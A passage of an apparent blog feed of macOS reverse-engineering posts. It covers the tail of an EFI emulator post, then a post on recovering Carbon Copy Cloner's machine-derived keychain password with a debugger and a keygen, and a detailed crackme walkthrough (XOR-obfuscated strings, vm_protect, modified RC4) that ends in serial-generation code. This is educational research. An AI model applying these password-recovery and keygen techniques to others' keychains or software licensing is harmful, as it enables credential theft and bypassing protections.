I just described. Emulate the minimum necessary to get things going instead of wasting time in full implementation.\nI forgot to mention in the original post, but Saumil Shah new ARM-X Firmware Emulation Framework also looks like a very interesting project if you are interested in IoT devices emulation. I had no time yet to try it but Saumil has been into ARM hacking for quite a while.\nThe code can be found here. It\u0026rsquo;s BSD licensed so feel free to do whatever you want. Just give some credits back if you do something useful :-).\nI quit Apple almost a month ago so this blog might become more active again. Have to waste creativity and funemployment time somewhere!\nA big thanks to Jeffrey Czerniak (@geekable) for pre-publication editing (contact him if you need technical review work) and Francisco Alonso (@revskills) for initial draft read.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2019/10/29/crafting-an-efi-emulator/","summary":"\u003cp\u003eIn 2016 I reversed Apple\u0026rsquo;s EFI firmware password reset scheme using \u003cstrong\u003eSCBO\u003c/strong\u003e files. There was an old rumor that these files were able to unlock firmware password locked Macs (and even a sketchy video about a universal SCBO able to unlock any Mac). That post is available at \u003ca href=\"https://reverse.put.as/2016/06/25/apple-efi-firmware-passwords-and-the-scbo-myth/\"\u003eApple EFI firmware passwords and the SCBO myth\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eAll the interesting computing action happened at the EFI execution level. I made good reversing progress with static analysis, but dynamic analysis with a debugger would make the job much easier. I love debuggers because they allow you to quickly test ideas and cut corners while reversing a target. Reading disassembly listings for long periods is tiring. (U)EFI debuggers can be found in the market but they are usually quite expensive (a couple thousand USD).\u003c/p\u003e\n\u003cp\u003eMy solution was to create an emulator and debugger based on \u003ca href=\"https://www.unicorn-engine.org\"\u003eUnicorn\u003c/a\u003e. At the time I was working a lot with Unicorn so it was natural to use it to solve this problem (\u0026ldquo;if all you have is a hammer, everything looks like a nail\u0026rdquo;). After I wrote the blogpost some people directed me to some emulators (\u003ca href=\"https://github.com/tianocore/tianocore.github.io/wiki/EmulatorPkg\"\u003eTianoCore EmulatorPkg\u003c/a\u003e and \u003ca href=\"https://github.com/jethrogb/uefireverse/tree/master/efiperun\"\u003eefiperun\u003c/a\u003e). I never tried them to see if they contained an interactive debugger like I wanted. The pain wasn\u0026rsquo;t big since this was a couple of days project and it was quite fun to write.\u003c/p\u003e","title":"Crafting an EFI Emulator and Interactive Debugger"},{"content":"Passwords are a modern annoyance and their diversity is something you can\u0026rsquo;t avoid if you want a minimum amount of account security (don\u0026rsquo;t forget to turn on those 2FA options, avoiding SMS versions if possible). They get more annoying when you set a super smart new password with that smug feeling that it is such a great password that you will never forget about it (or something crappy you set in a rush). Usually you can\u0026rsquo;t remember it already in the next day or in the next week, since in a month it is totally wiped out from your memory.\nThis time my victim was Carbon Copy Cloner (CCC). When you generate a backup you can select an encrypted sparse bundle (disk image) as destination, and save its password in the application private keychain.\nSome time ago I created some backups in a hurry and used the encrypted sparse bundle option as destination. Of course I used a super smart password and now I couldn\u0026rsquo;t remember it. Carbon Copy Cloner was still able to make the backups to that image but I couldn\u0026rsquo;t open it myself (well it is mounted during a backup but that is not fun enough to write a blogpost about!). I knew CCC had a private keychain somewhere in the system (/Library/Application Support/com.bombich.ccc/CCC-global.keychain to be precise) so my goal was to click Keychain Access show password radio button to recover the password.\nThe problem is that the private keychain is locked with a password and I couldn\u0026rsquo;t find any information about this password. Is it dumb enough to be hardcoded? Or is it something smarter and generated per user/machine/etc? Well the latter is the obvious answer now since this post titles gives it up.\nGiven that CCC has a privileged helper tool, it is a pretty good assumption that it will be responsible for managing the private keychain (because it runs with higher privileges and protects keychain access from regular users). So load up /Library/PrivilegedHelperTools/com.bombich.ccchelper into your favorite disassembler. While waiting for disassembly to complete we can try to guess what to look for.\nIf CCC is using macOS keychain infrastructure then we should be able to see Keychain related APIs in this binary.\n$ nm /Library/PrivilegedHelperTools/com.bombich.ccchelper|grep -i keychain U _SecKeychainCopySearchList U _SecKeychainCreate U _SecKeychainFindGenericPassword U _SecKeychainFindInternetPassword U _SecKeychainGetStatus U _SecKeychainItemCopyAttributesAndData U _SecKeychainItemCreateFromContent U _SecKeychainItemDelete U _SecKeychainItemFreeAttributesAndData U _SecKeychainItemFreeContent U _SecKeychainItemModifyAttributesAndData U _SecKeychainLock U _SecKeychainOpen U _SecKeychainSetSearchList U _SecKeychainSetSettings U _SecKeychainSetUserInteractionAllowed U _SecKeychainUnlock SecKeychainUnlock appears to be a good first candidate to poke around. Apple\u0026rsquo;s API documentation has everything we need to know about this:\nOSStatus SecKeychainUnlock(SecKeychainRef keychain, UInt32 passwordLength, const void *password, Boolean usePassword); password A buffer containing the password for the keychain. Pass NULL if the user password is unknown. In this case, this function displays the Unlock Keychain dialog to prompt the user for the keychain password. A cleartext password is passed to SecKeychainUnlock to unlock the keychain. Took longer to disassemble than to find what we need to attack! IDA gives us the following cross references and we can see a very suggestive function name (strip the symbols!).\n__stubs:100168D76 _SecKeychainUnlock proc near ; CODE XREF: _openAndUnlockCCCKeychain+30C __stubs:100168D76 ; _openAndUnlockCCCKeychain+626 __stubs:100168D76 jmp cs:_SecKeychainUnlock_ptr __stubs:100168D76 _SecKeychainUnlock endp Tip: to strip symbols in Xcode the \u0026ldquo;Deployment Postprocessing\u0026rdquo; build option must be set to Yes, otherwise the binary will not be stripped.\nIf you poke around openAndUnlockCCCKeychain you will understand that the password is being created at the function kp. It returns a NSString object. So right now it is very easy to recover the unknown CCC keychain password. Just attach with a debugger to the privileged helper process, and breakpoint on the address after the call to kp. Print the object in rax register and voila the password is all there (a long mumbo jumbo of weird characters, impossible to bruteforce). To trigger the breakpoint just quit CCC and open it again (the helper process is still running in the background and the debugger is attached). That\u0026rsquo;s it, it really takes longer to disassemble than to recover the password. The helper process is not SIP protected so the debugger can be attached without any problems.\nTo test the password, copy the keychain to somewhere else, change permissions to current user and open the keychain. Insert the password, and voila it unlocks. Go to saved keychain items, click show password and our mission is complete. The password I had set was a really dumb one, and I was trying all the complex stuff I could remember of. Ah the joy of new passwords rush!\nWell this wasn\u0026rsquo;t that much fun, so I got curious about the password generation algorithm. Time to poke around the kp function. The function isn\u0026rsquo;t very complicated so I will not lose much time with details. It collects the following information about the machine where it is running:\nIOPlatformUUID IOPlatformSerialNumber Hardware model name (via CTL_HW/HW_MODEL sysctl) Number of CPUs (via sysctl) This gives a strong hint that the password is specific to each machine where CCC is executed (a positive thing!). With this information some transformations are done and a 64 characters password is generated. The kp function is called when the password is necessary (just from the openAndUnlockCCCKeychain function) but remains constant per machine. Given this it is very easy to build a keygen. The source for mine is available here carbon_copy_cloner_keychaingen. The code is pretty much a direct translation from the disassembled code and could be improved/optimized. I opted out to sync it with the disassembly in the comments so you could try to understand what is going on.\nAfter all this I have a problem with this solution\u0026hellip;\nCreating a private keychain that contains passwords to encrypted backups with a password that is out of my choice and constant per machine is something I don\u0026rsquo;t really like. This password is very easy to keygen or recover with a debugger. I assume we need to run the keygen in the target machine (can IOPlatformUUID and/or IOPlatformSerialNumber be known without running code?) or a debugger (for which we need admin privileges).\nI understand those saved encrypted backups passwords to be at higher risk of disclosure since I don\u0026rsquo;t control the password that guards them.\nOf course there are (valid) reasons for this design - easy usage and automatic backups. It is after all a software product with wide customer audience and not just experts - regular people just want stuff to work (it is already a huge step forward if they bought backup software and actively execute backups).\nYou can opt out for not saving the password in the keychain. But the incentives to do it are there and most users will follow them without fully understanding the risks involved. The flip side of the coin is that I could have lost my encrypted backups because I didn\u0026rsquo;t save their password in the keychain. Personally I am biased against macOS keychain, and never save any important passwords there. I view it as some sort of a single point of failure and malware is usually interested on its contents (if you use it, don\u0026rsquo;t use the login keychain for those secrets, create a new one that is only unlocked when you really need it).\nI prefer to lose data than have it accessed by unknown third parties!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2018/10/25/keygenning-carbon-copy-cloner-keychain-password/","summary":"\u003cp\u003ePasswords are a modern annoyance and their diversity is something you can\u0026rsquo;t avoid if you want a minimum amount of account security (don\u0026rsquo;t forget to turn on those 2FA options, avoiding SMS versions if possible). They get more annoying when you set a super smart new password with that smug feeling that it is such a great password that you will never forget about it (or something crappy you set in a rush). Usually you can\u0026rsquo;t remember it already in the next day or in the next week, since in a month it is totally wiped out from your memory.\u003c/p\u003e\n\u003cp\u003eThis time my victim was \u003cstrong\u003eCarbon Copy Cloner\u003c/strong\u003e (CCC). When you generate a backup you can select an encrypted sparse bundle (disk image) as destination, and save its password in the application private keychain.\u003c/p\u003e","title":"Keygenning Carbon Copy Cloner Keychain Password"},{"content":"I was bored this weekend and decided to take some rust out of my reversing skills before they disappear for good. I have spent the past two years or so mostly writing C code (secure C is more like an asymptote but that is why it is a fun challenge) and barely doing any serious reverse engineering and security research. So I decided to revisit some unfinished business with qwertyoruiop\u0026rsquo;s crackme. I had a look when he originally sent it but got distracted with something else at the time and never finished it. I couldn\u0026rsquo;t find any public write-up about it so I decided to write one. It is mostly targeted to newcomers to reverse engineering and macOS. You can click the pictures to see the full size version.\nToday\u0026rsquo;s target is CrackMe_nr1_qwertyoruiop.app. It is a fun target written by a very young @qwertyoruiopz already showing his great talent (I think he was 12 or 14 at the time).\nLet\u0026rsquo;s start by checking what our target looks like and what should be our goal.\nThe crackme is a very simple Cocoa app with an input field and a button.\nAnd if we input some random data and press Activate we get the following alert:\nThe first thing I like to do against a new target is to look at its Mach-O headers, either with otool or MachOView.\nThe Mach-O header tells us it is an i386 binary (this shows the crackme age - i386 is being deprecated in macOS!) with ASLR disabled (MH_PIE flag not set).\nMore interesting is the __DATA segment, where we can see that the binary contains a few constructors. This is code that will be executed before main (technically most of the times there is a start function previous to main).\nThere are seven mod init function pointers and we will verify the code of each one. Usually in targets such as crackmes, DRM, and malware, the constructors contain interesting code that we usually want to reverse (usually to fool novice reverse engineers).\nCode execution before main can also be obtained in the load or init methods of Objective-C classes. Little Snitch for example uses this as you can see in this post.\nIf you are reverse engineering a target always check all these places for interesting code.\nIn this case the binary appears to be well formed and with the expected segments/sections. For example if we pack the same binary with UPX we get just three segments and no linked libraries.\nAnother point of interest are the initial memory protections of each segment. Any segment with an initial executable and writable memory protection is suspicious (if it is executable it always needs to be readable) since it is usually sign of a packer and/or cryptor. It is really not necessary for packers/cryptors to have this set in the header since they can always call memory related APIs such as mach_vm_protect to modify the current memory protection.\nAfter looking at the headers the next step is to load the target binary in a disassembler. For most targets this is a good idea since interactive disassemblers such as IDA, Hopper, and Binary Ninja allow you to comment the code, which is extremely useful for most targets. This also gives us a good hint about the kind of code that we are against to.\nI still use IDA as my main interactive disassembler. Mostly because it still deals better with abnormal code (meaning obfuscated, mangled, etc) and it has a C SDK (well C++ mostly). I don\u0026rsquo;t like Python!\nBoth Hopper and Binary Ninja are competent tools and provide great value if you are entering the reverse engineering field and don\u0026rsquo;t want (or can\u0026rsquo;t) spend the big bucks in IDA. If you are reverse engineering esoteric CPUs then IDA Pro is your only choice (radare2 if you are really masochist!).\nLoading the code in IDA we get an almost clean target, meaning by this, a target that IDA disassembles without any major issues. When IDA fails to disassemble or recognize functions we end up with red areas at the top bar chart (or whatever color your IDA theme uses). This crackme does have a small red area:\nThere are two interesting things in this picture. First the function labelled sub_25D0 appears to be incomplete. It has three instructions and abruptly ends. Its code also doesn\u0026rsquo;t make any sense. Then it is followed by instructions and bytes that IDA failed to recognize. This is a sign of something fishy going on, usually packed/crypted/obfuscated code or something else (in this particular case it will be the latter). For example the address 0x25F0 contais the arpl instruction \u0026ldquo;Adjust RPL Field of Segment Selector\u0026rdquo;. As far as I remember I have never seen x86 code using this instruction!\nThe memory address range from 0x25D0 till 0x26EE is something that we will want to pay attention to.\nUsually it is a good idea to look at the strings and see if we can find the code related to them and maybe some execution flow that we can exploit towards our goals.\nIn this case we can start with the bad serial message \u0026ldquo;The serial you entered is not valid.\u0026rdquo;. It can be found in the method [MCAppDelegate fail] at address 0x3830. We can observe a few calls to objc_msgSend but we don\u0026rsquo;t know what are the selectors being used. IDA also fails to identify any callers references to this method, so we can\u0026rsquo;t easily identify where this method is called from (in static analysis, much easier with a debugger).\nThe objc_msgSend function is one of the functions from the Objective-C runtime that is responsible for delivering messages to objects. For example an Objective-C code of [object message:argument] can be seen in the disasssembled code as objc_msgSend(object_ID, selector, argument). In i386 binaries we can find the selector with a debugger by breakpointing on objc_msgSend function and displaying the second argument as a string, and in the case of x64-64 binaries we display the RSI register contents as string to display the selector. Usually disassemblers are able to extract the selector but not in this case. We will come back to this topic shortly.\nThere is a method with an interesting name [MCAppDelegate succeed]. It contains the message \u0026ldquo;You failed. Keep trying.\u0026rdquo; which doesn\u0026rsquo;t appear much about success. There are also no code references to this method. We can also find another potential interesting string \u0026ldquo;The serial you have entered has been validated!\u0026rdquo; but we can\u0026rsquo;t find any code/data references to it. If this is the right message we are looking for then its caller seems obfuscated or it is just a bogus clue.\nLet\u0026rsquo;s get back to objc_msgSend to understand how to find the selectors and also some other data references. Most selectors aren\u0026rsquo;t directly visible in this binary because they are referenced using relative offsets and IDA is unable to compute them. This used to happen in older IDA versions but in this particular case I can\u0026rsquo;t remember if this is something that happens with i386 Objective-C code and older Xcode compilers or if there is intended \u0026ldquo;obfuscation\u0026rdquo; by qwertyoruiopz. The code that I am talking about looks like this:\nThis is a good example because it shows a first call where the selector can be easily identified and a second where it requires a small effort. In the first case at address 0x29BC we can see the selector argument identified by IDA at esp+4 (remember that arguments are passed from last to first into the stack and the stack grows down). IDA doesn\u0026rsquo;t display the selector string but if we look at address 0x29AC there is a string pointer being moved into EDX register than is then put in the stack. If we click on paUtf8string IDA references the string \u0026ldquo;UTF8String\u0026rdquo;. So the original Objective-C code for this is [some_NSString_string UTF8String]. Documentation says this method returns \u0026ldquo;A null-terminated UTF8 representation of the string.\u0026rdquo;.\nBut what is the selector at address 0x29D7? Looking at the code we know that the string pointer is coming from ESI register, and ESI gets loaded at address 0x29C7.\nThe instruction at address 0x29C7 is mov esi, [edx+36A4h]. It is dereferencing whatever value exists at address pointed by edx+0x36A4 memory address. The following is all the code involved in setting the value of EDX.\n(...) 00002997 call $+5 0000299C pop eax (...) 000029B9 mov [ebp+var_10], eax (...) 000029C4 mov edx, [ebp+var_10] 000029C7 mov esi, [edx+36A4h] 000029CD mov [esp], ecx ; id 000029D0 mov [esp+4], esi ; SEL 000029D4 mov [ebp+var_14], eax 000029D7 call _objc_msgSend This is a thing you see often to use relative offsetting. The call and pop load the address 0x299C into EAX register and the value is stored at a local variable var_10 for future usage. So the ESI value we want to find out is 0x299C + 0x36A4 = 0x6040. At this address we can find the string \u0026ldquo;length\u0026rdquo;. The second call Objective-C code is [some_NSString_string length] retrieving the length of the string (method documentation says \u0026ldquo;The number of UTF-16 code units in the receiver.\u0026rdquo;).\nNSUInteger length = [some_NSString_string length]; To find out all \u0026ldquo;hidden\u0026rdquo; selectors we just need to compute the target address and see what string is referenced at that address. This can be automated with an IDA plugin. First you find the address of the pop instruction after call $5 instruction and then track the offset and final address correspondent to each objc_msgSend call. This will make all code much easier to read.\nSorted this out let\u0026rsquo;s get back on course and reverse the constructors. IDA labels them as InitFunc_[0;6]. The first InitFunc_0 is not doing anything interesting for our purposes.\nsome_global_variable_at_0x5298 = [NSAutoreleasePool new]; InitFunc_1 is more interesting and will start to explain what is going on.\nThe mach_task_self means the code is accessing its mach task port, which can be used with Mach memory and debugging APIs. That is a good hint of something interesting happening here. The 7 value being moved before the call to function sub_26EE is also interesting if you have some experience reversing certain type of macOS binaries. The function at sub_26EE is very simple and just a stub to call a system library API.\n000026EE sub_26EE proc near ; CODE XREF: InitFunc_1+76 000026EE ; InitFunc_1+C3 000026EE nop 000026EF jmp _vm_protect 000026EF sub_26EE endp In this case the constructor is calling the vm_protect system API, used to modify memory permissions. The 7 means VM_PROTECT_ALL an alias for VM_PROTECT_READ | VM_PROTECT_WRITE | VM_PROTECT_EXECUTE. The prototype for vm_protect is:\nkern_return_t vm_protect (vm_task_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection); The 0 corresponds to the set_maximum argument, meaning that it\u0026rsquo;s setting the current protection for the address region but not setting a maximum (if you look at the header the maximum for __TEXT segment is already set to VM_PROTECT_ALL).\nThe most important argument we want to extract is the address. In the first call this is easy to find out:\n00002781 mov ebx, ds:(dword_50B8 - 276Eh)[eax] IDA takes care for us and references the address 0x50B8, which contains the value 0x25D9. Remember that the interval 0x25D0 till 0x26EE appeared to contain bogus code where we expected something to happen. That portion of code is now made writable which is a strong indicator that something is going to be modified on that area. The size argument isn\u0026rsquo;t extremely important here. The reason is that the vm_protect function will always act on multiples of 4096 bytes page size. Given that the suspicious area is just 286 bytes we don\u0026rsquo;t need to care much about the size (unless the area was crossing the boundaries of another page, which isn\u0026rsquo;t in this case since this page boundary is between 0x2000 and 0x3000). It could be relevant if we expected more code to be modified (the well formed functions that followed would also be modified for example). Anyway if we attach a debugger and insert a breakpoint we can verify that the argument size is 0x200 bytes (you can also compute it statically but it\u0026rsquo;s faster with a debugger).\nThe second call to vm_protect modifies protection at address 0x4f89 corresponding to __cstring section and in particular to this string \u0026ldquo;Also, you just lost the game.\u0026rdquo;. We will understand why later on.\nTo conclude, InitFunc_1 is making read-only areas of the binary writable so we should expect modifications in these two areas sooner or later.\nNext constructor is InitFunc_2. Its commented code is below. It is simply reading the bytes that start at address 0x25d9 and XORing them with a fixed key, and then replacing them on the original address they were read from (hence explaining the need for vm_protect call). If we undefine the \u0026ldquo;code\u0026rdquo; that starts at address 0x25d9 until 0x26ED we can see a series of bytes grouped and each group terminated by a NUL byte.\n00002840 push ebp 00002841 mov ebp, esp 00002843 push ebx 00002844 sub esp, 8 00002847 call $+5 0000284C pop eax 0000284D mov ecx, ds:(dword_50B8 - 284Ch)[eax] ; \u0026lt; ecx = 0x50b8 ; =\u0026gt; 0x25d9 00002853 mov [ebp+var_8], ecx 00002856 mov [ebp+var_C], eax ; var_c = 0x284C 00002859 00002859 loc_2859: ; CODE XREF: InitFunc_2+52↓j 00002859 mov eax, [ebp+var_8] 0000285C cmp byte ptr [eax], 0 ; check if it hit the NUL termination 0000285F jz loc_2897 ; finish if NUL 00002865 mov eax, [ebp+var_8] 00002868 movsx eax, byte ptr [eax] ; read each byte starting at 0x25d9 0000286B mov ecx, [ebp+var_C] 0000286E imul edx, [ecx+2874h], 0Ah ; ecx + 0x2874 = 0x50C0 ; *(uint32_t*)0x50c0 =\u0026gt; 1 00002878 add edx, [ecx+2880h] ; ecx + 0x2880 = 0x50CC =\u0026gt; 9 0000287E xor edx, eax ; byte read XOR ((1 * 0xA) + 9) 00002880 mov bl, dl 00002882 mov eax, [ebp+var_8] 00002885 mov [eax], bl ; replace byte read with the XOR result 00002887 mov eax, [ebp+var_8] 0000288A add eax, 1 ; move to next byte 0000288F mov [ebp+var_8], eax 00002892 jmp loc_2859 00002897 ; --------------------------------------------------------------- 00002897 00002897 loc_2897: ; CODE XREF: InitFunc_2+1F↑j 00002897 add esp, 8 0000289A pop ebx 0000289B pop ebp 0000289C retn This could be translated into the following C code (bytes copied from 0x25d9 address until the NUL byte is found):\n#include \u0026lt;stdio.h\u0026gt; int main(void) { char obfuscated[] = { 0x5A, 0x5C, 0x43, 0x7F, 0x72, 0x67, 0x75, 0x7C, 0x61, 0x7E, 0x56, 0x6B, 0x63, 0x76, 0x61, 0x67, 0x57, 0x76, 0x65, 0x7A, 0x70, 0x76, 0x00 }; for (int i = 0; i \u0026lt; sizeof(obfuscated); i++) { unsigned char key = 0x1 * 0xA + 0x9; unsigned char xor_result = obfuscated[i] ^ key; obfuscated[i] = xor_result; } printf(\u0026#34;Deobfuscated string: %s\\n\u0026#34;, obfuscated); return 0; } The resulting string is \u0026ldquo;IOPlatformExpertDevice\u0026rdquo;. InitFunc_3 also deobfuscates a short string \u0026ldquo;fail\u0026rdquo; that starts at 0x25F0. InitFunc_4 deobfuscates the third string, \u0026ldquo;IOPlatformSerialNumber\u0026rdquo;. It also installs a signal handler for SIGTRAP signal:\n0000290D mov ecx, 5 00002912 lea edx, (sub_28F0 - 290Ch)[eax] 00002918 mov dword ptr [esp], 5 ; SIGTRAP 0000291F mov [esp+4], edx ; void (*)(int) 00002923 mov [ebp+var_C], eax 00002926 mov [ebp+var_10], ecx 00002929 call _signal We can observe that the signal callback is bogus:\n000028F0 sub_28F0 000028F0 push ebp 000028F1 mov ebp, esp 000028F3 mov eax, 13371337h 000028F8 mov dword ptr [eax], 0CC07C9h 000028FE pop ebp 000028FF retn At address 0x28F8 we will have an invalid memory dereference so the callback will just create another crash. Crash inception!\nInitFunc_5 contains an Objective-C call to stringWithUTF8String: method. This method creates an NSString out of a C string. The source C string is \u0026ldquo;IOPlatformSerialNumber\u0026rdquo;. It stores the resulting object at address 0x52A0.\nFinally the last constructor InitFunc_6 does something interesting using the deobfuscated strings. The platform serial number of the machine where the code is being executed is retrieved.\nA C version of the code (without checks):\nCFMutableDictionaryRef matching; matching = IOServiceMatching(\u0026#34;IOPlatformExpertDevice\u0026#34;); io_service_t service; service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); CFStringRef serialNumber; serialNumber = IORegistryEntryCreateCFProperty(service, CFSTR(\u0026#34;IOPlatformSerialNumber\u0026#34;), kCFAllocatorDefault, 0); IORegistryEntryCreateCFProperty second argument is a CFStringRef, a reference to a CFString object. This is the object created in InitFunc_5 (certain objects like NSString and CFString are bridgeable between Foundation and CoreFoundation).\nAfter this two SHA1 hashes are generated. One for the serial number, and one for the string \u0026ldquo;So you\u0026rsquo;re trying to reverse me! Hah. Have fun =P\u0026rdquo;. This is the function that does the hashing:\nIt simply converts the object string into a C string pointer and calls CC_SHA1 to generate the SHA1 hash.\nThe two resulting hashes are used to generate what appears to be a key. We can translate it to the following C code:\n/* now we build the key out of mixing these two SHA1 hashes */ unsigned char key[20] = { 0 }; int counter = CC_SHA1_DIGEST_LENGTH - 1; while (counter \u0026gt;= 0) { unsigned char src_serial = serial_SHA1[counter]; unsigned char src_sentence = sentence_SHA1[counter]; key[counter] = src_serial ^ src_sentence; counter--; } The original code is a bit longer than the C code because there are some extra operations. But we only care about the operations until 0x2DD4 address. The other operations generate some values but they aren\u0026rsquo;t relevant for the keygen (maybe just to annoy the reverser and waste time).\nThe result is that the original string \u0026ldquo;Also, you just lost the game.\u0026rdquo; now has 20 bytes modified by mixing the SHA1 hashes of the platform serial number and a sentence. This gives us a strong hint that the keygen needs to be based on the machine serial number, meaning unique serials for each machine (to simplify let\u0026rsquo;s ignore SHA1 collisions are possible).\nWe can conclude that the constructors are responsible for generating what appears to be a unique key based on the machine executing the crackme. In case you didn\u0026rsquo;t notice there are some bytes from the first memory area that weren\u0026rsquo;t used in the constructors (only three strings were deobfuscated from that area).\nNow it is time to move to main code. Both start and main do not feature any special code. Since this is a Cocoa application NSApplicationMain will be executed. This means that if we were tracing inside main we would lose track of the code execution after NSApplicationMain is called (well we could find it but it would take a while deep enough in the Objective-C runtime). NSApplicationMain doesn\u0026rsquo;t return.\nWhat we can do is to take a look at a few methods (notifications to be precise) where code execution can follow after the call to NSApplicationMain.\nThe following is a list of notifications on the application delegate:\napplicationWillFinishLaunching: applicationDidFinishLaunching: applicationWillHide: applicationDidHide: applicationWillUnhide: applicationDidUnhide: applicationWillBecomeActive: applicationDidBecomeActive: applicationWillResignActive: applicationDidResignActive: applicationWillUpdate: applicationDidUpdate: applicationWillTerminate: applicationDidChangeScreenParameters: applicationDidChangeOcclusionState: In this crackme we can find [MCAppDelegate applicationDidFinishLaunching:]. Usually this is only executed once after the application has finished launching. But we will see later that in this crackme it is called a few times.\nThe easiest way to understand what this method code is doing is to launch the crackme under a debugger, insert a breakpoint at address 0x40C0 (the start address of this method) and trace its execution. To avoid getting lost in calls to other functions, the easiest way is to use the stepo command available in lldbinit or gdbinit if you still use gdb. This command lets us step through the code without entering calls to other functions (they are executed but we don\u0026rsquo;t step into them). Tracing the first execution we reach the following code:\nThis code uses NSLog to log a message to the console and calls some unknown selector. IDA is able to find the reference to the log message at 0x50B4.\nThe message is \u0026quot;== TIP! == || To keygen, you need to know a secret hash. 1CED36375BA86C4DE17C940BF578ED68 is what you\u0026rsquo;re looking for :)\u0026quot;.\nThe unknown selector is [MCAppDelegate mk]. Later on we will understand what the secret hash is used for. For now let\u0026rsquo;s continue and take a look at the mk method.\nThis is the prologue of the mk method. If we trace this code we will see that the conditional jump at address 0x3B1B is executed, redirecting the execution flow to the following code:\nWhat happens here is that the mk method is constantly being executed via a scheduled timer, essentially creating a run loop that is waiting for some magic input/flag to execute the remainder of mk code. We know that applicationDidFinishLaunching: will need to return to resume application launching, so this is a simple way to keep mk running in the background. If we insert a breakpoint at the beginning of the mk method we will get constant hits and without any user input the method will just loop.\nTo understand the serial number verification algorithm we need to find the place where our serial is used. The workflow could be something like insert serial number -\u0026gt; press activate -\u0026gt; verify serial number. Usually the serial is verified after we press the activate button, but it also can be verified while it is being inserted in the input text field. Let\u0026rsquo;s assume it happens when we press the activate button. In Cocoa apps pressing a button will send a message to some method. This is configured in the nib file that we can find in the Resources folder (in this case Resources/en.lproj/MainMenu.nib).\nThe nib is compiled but there is an util called NibUnlocker that is able to convert it to a xib. We can open the resulting xib file in Xcode and take a look at the button properties.\nIf we do this we find out that the activate button sends its action to [MCAppDelegate applicationDidFinishLaunching:]. As I told you this method is used in a different way than usual.\nSince we know that mk is looping in the background and applicationDidFinishLaunching: returned before we can try the activate button we can breakpoint applicationDidFinishLaunching:, insert some input, and press the activate button. This time if we trace applicationDidFinishLaunching: we land in a different code path:\nWhat happens here is that some variables are set (variables that control the code flow of this method and others), the serial number is read from the NSTextField as a string and the string object stored at address 0x53AC. The same applicationdidfinishlaunching: selector is scheduled the same way mk was. Because certain variables were set, the code path on next applicationdidfinishlaunching: execution is different. This time the method [MCAppDelegate d] is executed.\nThis is the code path inside applicationdidfinishlaunching: that will schedule the method d for execution.\nThe d method will call the function sub_3190. This function is responsible for verifying the length of the serial and making a copy of it. If length is odd then the serial is rejected, otherwise it proceeds to make a copy. There is no clue about the valid length of the serial number. We will need to wait a bit for that.\nThe copy that is made is a conversion from a string to a hash. A SHA1 hash is composed by 160 bits and we usually see its string representation. But the string representation is nothing but the string output of each hash byte. In this function the reverse conversion is made, a string is converted to be represented as a byte array. So for example if we insert a serial of \u0026ldquo;AABBCCDD\u0026rdquo;, this will be converted by this function to the number 0xAABBCCDD. This gives us a strong hint that the input serial needs to be an hash. The function responsible for the length verification and string conversion is sub_2EA0.\nIf we still have a breakpoint on applicationdidfinishlaunching: and used an odd serial number then at address 0x41C7 we can find a call to the fail method that displays the bad serial number message. This is a fast fail path, because if we insert an even number this code path is not triggered, so the serial number check is made somewhere else. With this we found out all the code paths available in applicationdidfinishlaunching:. This method is not responsible for serial number verification.\nRemember mk still running in the background?\nIf we insert a breakpoint on the next instruction at address 0x3B21 (inside mk method) after the conditional jump we will see that the breakpoint is never triggered until we insert an even serial number.\n00003B0E cmp ds:(dword_52A4 - 3B01h)[eax], 0 00003B18 mov [ebp+var_24], eax 00003B1B jz loc_4052 00003B21 call sub_3320 The conditional jump will always execute until the pointer at address 0x52A4 is not NULL. When is that pointer not NULL? After function sub_3190 verifies the input serial and sets that pointer to the converted string we saw above.\n000031AC call verify_serial_length_make_copy_sub_2EA0 000031B1 mov ecx, [ebp+var_C] 000031B4 movsd xmm0, qword ptr [ecx+1E0Bh] 000031BC mov edx, 0 000031C1 mov [ecx+2107h], eax ; store converted serial at 0x52A4 The mk method contains three code paths:\nLoop until there is valid input to verify If serial is invalid display the bad serial message Something else we can\u0026rsquo;t verify if but we expect to be the valid serial message The most interesting code path (3) is right at the beginning. Lets see the beginning of mk:\nThere is a call to function sub_3320. This is the serial verification function we are looking for and I will show you why in a bit. Then we have a memcmp between the \u0026ldquo;NSAlert\u0026rdquo; string and a buffer that starts at address 0x260C (referenced at address 0x3B47).\nWhat is the address 0x260C? Is the the initial block of memory that contains the strings deobfuscated in the constructors. But this specific address is the part that no constructor or all the code we have seen until now touched. Given the memcmp usage it is a fair assumption that these bytes are obfuscated or encrypted, since the memcmp call is trying to assure that they start with \u0026ldquo;NSAlert\u0026rdquo; after the call to sub_3320 function. If the comparison fails then the fail method is called, another sign that those bytes at 0x260C are being transformed at sub_3320.\nThe sub_3320 function is essentially a slightly modified RC4 encryption algorithm (thanks to Dcoder for quickly pointing it).\nRight at the beginning we can observe RC4\u0026rsquo;s KSA (key scheduling algorithm):\nIf we keep tracing the code we will see that the converted input serial will be used together with the key that was generated in ÌnitFunc_6 constructor. This will generate a new key that will be used to decrypt the contents of address 0x260C. If the key is wrong the decryption fails and the memcmp comparison will fail. We now understand all the program flow necessary to a valid serial.\nRemember the secret hash that was mentioned in the NSLog message? It was 1CED36375BA86C4DE17C940BF578ED68. If we try to decrypt with this key everything will be decrypted correctly. This is the output from Dcoder\u0026rsquo;s decrypter:\nNSAlert;alloc;init;autorelease;addButtonWithTitle:;setMessageText:;setInformativeText:;setAlertStyle:;beginSheetModalForWindow:modalDelegate:didEndSelector:contextInfo:;OK;You won!;The serial has been successfully validated! But this is not the serial that we need to input, since we now know that the machine serial number is being used to generate some kind of key. Because we verified that 1CED36375BA86C4DE17C940BF578ED68 is the right key that we need then the valid serial number needs to be something that will be able to generate this key. It is possible because this RC4 is slightly modified with an extra XOR so that the valid serial number is something that is able to generate this known decryption key. If we XOR each byte of the key generated in InitFunc_6 with each byte of the known secret hash we get the valid serial number.\nThis is the C code to generate that.\n/* now we build the key out of mixing these two SHA1 hashes */ unsigned char key[20] = { 0 }; int counter = CC_SHA1_DIGEST_LENGTH - 1; while (counter \u0026gt;= 0) { unsigned char src_serial = serial_SHA1[counter]; unsigned char src_sentence = sentence_SHA1[counter]; key[counter] = src_serial ^ src_sentence; counter--; } /* the key to decrypt the strings is the secret hash */ /* == TIP! == || To keygen, you need to know a secret hash. 1CED36375BA86C4DE17C940BF578ED68 